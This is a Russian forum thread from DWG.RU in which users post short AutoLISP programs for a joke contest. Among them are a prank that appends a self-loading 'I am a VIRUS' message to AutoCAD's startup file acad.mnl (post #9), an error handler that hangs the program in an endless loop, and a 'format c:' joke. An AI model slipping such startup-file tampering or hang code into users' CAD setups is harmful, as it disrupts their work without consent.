| Правила | Регистрация | Пользователи | Поиск | Сообщения за день | Все разделы прочитаны |  Справка по форуму | Файлообменник |

Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Конкурс на лучший короткий лисп

Конкурс на лучший короткий лисп

Ответ
Поиск в этой теме
Непрочитано 25.12.2010, 15:43 #1
Конкурс на лучший короткий лисп
gomer
 
строю, ломаю
 
Украина
Регистрация: 03.04.2008
Сообщений: 5,550

Предлагаю провести конкурс на лучшую короткую лисп программу
Условия:
1. Не плагиат...
2. длина программы - не более 1 kb...
3. Каждый может выставлять любое количество программ... на свое усмотрение...
4. Победитель определяется по количеству благодарностей...
5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...

От себя выставлю такую программку

Код:
[Выделить все]
(defun c:testent ()
  (vl-load-com)
  (cond
	((vl-catch-all-error-p
	  (vl-catch-all-apply
		'(lambda ()
		  (vlax-dump-object
			(vlax-ename->vla-object
			  (car (entsel))))))))
	((textscr))
  )
  (princ)
)
Просмотров: 8294
 
Непрочитано 25.12.2010, 19:13
#2
Profan


 
Регистрация: 25.12.2005
Москва
Сообщений: 13,663


Код:
[Выделить все]
(setvar "filedia" 1)
Profan вне форума  
 
Непрочитано 25.12.2010, 19:49
#3
Vildar

AutoCAD
 
Регистрация: 26.07.2007
Москва
Сообщений: 1,064


Profan, те, кто сталкивается с ситуацией filedia=0, понятия о ней не имееют.
Развивая идею. Красная кнопка - аварийная, как в машинах. При нажатии на которую выводится форма с описанием всех основных чрезвычайных ситуаций и способах выхода из них.
Vildar вне форума  
 
Непрочитано 25.12.2010, 20:01
1 | #4
Li6-D


 
Регистрация: 03.05.2009
Сообщений: 112


Функция вычисляет периметр эллипса по двум его полуосям.
Код:
[Выделить все]
(defun Ellipse_Circumference (a b / S)
  (setq S (mapcar '(lambda (a) (float (abs a))) (list a b)) a (apply 'max S) b (apply 'min S))
  (if (zerop b) (* 4 a)
    (progn
      (setq S (mapcar '* S S) b (cons b (abs (apply '- S))) S (apply '+ S))
      (while (> (cdr b) 0)
        (setq b (cons (sqrt (* a (car b)))
                  (* 0.5 (1- (/ a (setq a (* 0.5 (+ a (car b)))))) (cdr b)))
              S (- S (cdr b))
      ) )
      (/ (* pi S) a)
) ) )
Li6-D вне форума  
 
Непрочитано 25.12.2010, 20:40
#5
lastloch


 
Регистрация: 23.12.2010
Сообщений: 65


Функция отоображает колесо истории:
Код:
[Выделить все]
(alert "Кукуруза, Коммунизм, Перестройка, Ускорение, Демократия, Модернизация, Нанотехнолгии, .....")

Последний раз редактировалось lastloch, 25.12.2010 в 20:44. Причина: Комунизм написал с одним м.
lastloch вне форума  
 
Непрочитано 25.12.2010, 22:13
2 | #6
Елпанов Евгений

программист
 
Регистрация: 20.12.2005
Москва
Сообщений: 1,440
Отправить сообщение для Елпанов Евгений с помощью Skype™


Функция для особо сложных случаев...
Код:
[Выделить все]
(defun c:?? ()
 (if
  (=
   (acet-ui-message
    "В вaшей совести не остaлось достaточно местa для совершения поступкa.\n\n\tОчистить совесть?"
    "Предупреждение"
    17
   )
   1
  )
  (acet-ui-message "Вaшa совесть очищенa.\nТеперь вы можете совершить этот поступок."
                   "Сообщение"
                   64
  )
 )
)
__________________
Чем гениальнее ваш план, тем меньше людей с ним будут согласны.
/Сунь Цзы/
Елпанов Евгений вне форума  
 
Непрочитано 25.12.2010, 22:38
1 | #7
Supermax

Руководитель фирмы
 
Регистрация: 28.03.2007
Москва
Сообщений: 1,831
Отправить сообщение для Supermax с помощью Skype™


(defun exit () (exit))
Supermax вне форума  
 
Непрочитано 26.12.2010, 07:51
#8
Profan


 
Регистрация: 25.12.2005
Москва
Сообщений: 13,663


А эта чем хуже?
Код:
[Выделить все]
(defun Ура () (Ура))
Profan вне форума  
 
Непрочитано 26.12.2010, 08:27
#9
Krieger

инженер (КМ)
 
Регистрация: 30.10.2004
Красноярск
Сообщений: 3,895


Коротенький, незатейливый, но достать может
Код:
[Выделить все]
    (setq aa (open (findfile "acad.mnl") "A"))
  (write-line
    "(entmake '((0 . \"MTEXT\") (100 . \"AcDbEntity\") (100 . \"AcDbMText\") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")
    )
  )
  (command \"_Zoom\" \"_Object\" \"_Last\" \"\")"
    aa)
  (close aa)
  (setq aa nil)
  )
(entmake '((0 . "MTEXT") (100 . "AcDbEntity") (100 . "AcDbMText") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . "Здравствуйте, я ВИРУС!!!\\PК сожалению, программист, который меня\\Pписал ничего из себя не представляет.\\PПоэтому, пожалуйста, удалите у себя \\Pкакой-нибудь важный файл и передайте \\Pменя своим друзьям.")
    );list
  );list entmake
  (command "_Zoom" "_Object" "_Last" "")
__________________
Делай хорошо, плохо само получится.
Krieger вне форума  
 
Непрочитано 26.12.2010, 16:36
#10
Vov.Ka


 
Регистрация: 21.07.2008
Луцьк
Сообщений: 179


Код:
[Выделить все]
(defun *error* (msg) (while t))
Vov.Ka вне форума  
 
Непрочитано 26.12.2010, 20:49
#11
hwd

C, C++, C#
 
Регистрация: 07.10.2009
С-Пб.
Сообщений: 2,762
Отправить сообщение для hwd с помощью Skype™


(princ "Welcome to .net")(princ)
__________________
Надеюсь, ты не социальный овощ? Это определяется делами! :welcome:
hwd вне форума  
 
Непрочитано 26.12.2010, 23:16
#12
Apelsinov

Проектировщик ВК. LISP-любитель.
 
Регистрация: 15.12.2003
Москва
Сообщений: 1,166
<phrase 1=


тема порадовала идиотизмом

Но она навеяла на мысль и вправду устроить небольшой конкурс, на немного других условиях:
конкурс на самый полезный лисп, по мнению посетителей этого форума. Код публикуем тут, или даем ссылку на сообщение на форуме. Голосуем "спасибом" на сообщение с кодом.

Еще раз повторюсь, конкурс не на профессиональность, оригинальность, или вообще хорошесть кода, а на его популярность среди посетителей форума.

ну мне кажется может быть интересно, потом подсчитаем голоса, и обозначим лидеров. Это как идея.
Apelsinov вне форума  
 
Непрочитано 26.12.2010, 23:29
#13
Sleekka

-
 
Регистрация: 24.07.2005
Москва
Сообщений: 1,458


Код:
[Выделить все]
(defun trp (m)
;; TRP Transpose a matrix -Doug Wilson-
  (apply 'mapcar (cons 'list m))
)
Sleekka вне форума  
 
Автор темы   Непрочитано 26.12.2010, 23:56
#14
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,550


Цитата:
Сообщение от Apelsinov Посмотреть сообщение
тема порадовала идиотизмом
Цитата:
Сообщение от Apelsinov Посмотреть сообщение
конкурс на самый полезный лисп, по мнению посетителей этого форума.
Эммм... полезность не оговаривалась ввиду целевой направленности языка AutoLisp... то бишь учитывалась по умолчанию...
gomer вне форума  
 
Непрочитано 27.12.2010, 06:40
#15
ShaggyDoc

Thượng Tá Quân Đội Nhân Dân Việt Nam
 
Регистрация: 14.03.2005
44d32'44"С, 33d26'51"В
Сообщений: 12,961


Бессмысленный "конкурс". Кто сильнее - кит или слон.

"Короткость" ни о чем не говорит. Вот я когда-то делал работающий EXE размером 0 байтов - абсолютный чемпион. Но толку-то от такой программы.

Да и разница между "программой" и "функцией" в AutoCAD большая.

Вот, например, приведенная в #13 функция
(apply 'mapcar (cons 'list m))
является, возможно, самой красивой и эффективной в мире (для меня точно). Но много ли её здесь применяют? И её, даже обернув в defun нельзя использовать как программу.

А код Profan из #2 хоть и примитивен, но очень популярен. Чем не кандидат?

Что касается полезности, то из опубликованного на сайте, на мой взгляд, таким лидером является набор PLTools от VVA. Код далеко не краткий, но чрезвычайно полезный всем. Да и сделано мастерски, причем со справочной системой. Что совсем уж редко бывает.
ShaggyDoc вне форума  
 
Автор темы   Непрочитано 27.12.2010, 08:31
#16
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,550


Цитата:
Сообщение от ShaggyDoc Посмотреть сообщение
А код Profan из #2 хоть и примитивен, но очень популярен. Чем не кандидат?
Код Profan оформляется в виде макроса в меню с галкой... имхо гораздо нагляднее
Согласен... PLTools от VVA - один из примеров для подражания ( я не сильно смотрел сам код...) в отличие от проката В Кондрата, который я хоть и окультурил чуть чуть но ничего серьезного так и не смог сделать...
gomer вне форума  
 
Непрочитано 27.12.2010, 08:48
#17
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,663


Не претендую на звания "самый лучший" или "самый полезный".. Но вот на "самый короткий", - попробую:
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!
AlexV вне форума  
 
Непрочитано 27.12.2010, 09:03
#18
Сергей Дубина


 
Регистрация: 06.04.2009
Сообщений: 706


поскольку в лиспе ни черта не соображаю предложу следующее:
format c:
__________________
КазнитьØнельзяØпомиловать:eek:
Сергей Дубина вне форума  
 
Непрочитано 27.12.2010, 09:11
#19
Profan


 
Регистрация: 25.12.2005
Москва
Сообщений: 13,663


Код:
[Выделить все]
Команда: (format c:)
no function definition: FORMAT
 Аварийное завершение команды!
Profan вне форума  
 
Непрочитано 27.12.2010, 09:57
#20
Supermax

Руководитель фирмы
 
Регистрация: 28.03.2007
Москва
Сообщений: 1,831
Отправить сообщение для Supermax с помощью Skype™


Цитата:
5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...
Увы, а может и слава богу, но кирпич на голову падает не каждый день.
Написать удачно и красиво могут многие, но ОЧЕНЬ редко.
Хороший поэт, а программирование, это безусловно поэзия, именно потому хороший, что одаренный, и стихов пишет много, из которых много красивых.
Давть звание "лучшего лиспописателя коротких лиспов" можно только по совокупному труду, а не по одному удачному "заплыву".

Здесь будет просто "Победитель конкурса на самый лучший короткий лисп 2010 года".
Нормальная "медалька". Я бы от такой не отказался. Да и настоящую медальку с дипломом можно сварганить.

Можно сделать конкурс:
- на самый лучший лисп-шутка
- на самый лучший лисп с расчетами
- на самый лучший лисп по облегчению труда
- на самую полезную работу (в смысле как с полилиниями или с прокатом)
- на самую оригинальную идею
и т.п.

А на главной страние добавить слева рубрику "конкурсы", а в ней "галлерея славы"
Вот там и медальки (только в 3D dwg) давать, и дипломы.

Последний раз редактировалось Supermax, 27.12.2010 в 10:12.
Supermax вне форума  
Ответ
Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Конкурс на лучший короткий лисп

Система Техэксперт дает уверенность в правильности и эффективности принимаемых инженерных решений!
Размещение рекламы
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Интересно где работают ЛИСП программисты? dextron3 LISP 114 17.12.2017 13:53
Лисп включение панели, если включена, то не срабатывает dextron3 LISP 4 14.11.2009 12:59
Лисп: моментальное редактирование цифр в предложениях dextron3 LISP 12 27.09.2008 09:33
Лисп для копирования данных нескольких мтекстов по принципу расположения. Red Nova LISP 14 18.06.2008 22:08
Нужен лисп (пронизыватель лайаутов) dextron3 LISP 91 25.07.2007 07:37